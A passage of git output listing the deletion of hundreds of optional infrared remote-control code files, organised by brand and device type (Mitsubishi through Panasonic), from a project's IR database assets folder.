assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/170,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/18,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/5,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/68,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cable Box/9,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cox/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Cox/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/DSS/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/DVR/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/IP box/16,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Remote/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Remote/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/18,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/23,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Amplifier/135,124.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/CD Player/133,111.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/CD Player/135,124.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/CD Player/42,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Monitor/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Receiver/135,124.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Surround Processor/135,124.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Tuner/135,124.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown/135,124.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_451/135,124.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Monitor/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Monitor/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,197.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,225.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,228.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,231.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Surround Processor/26,228.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/TV/24,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/TV/24,24.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/TV/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown/25,231.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/VCR/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/VCR/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/VCR/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,233.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,247.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NET TV/TV/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Satellite/24,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Satellite/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/132,117.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,109.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,13.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,44.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,108.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,109.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,109.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,37.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,109.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,44.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,28.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,4.ir delete 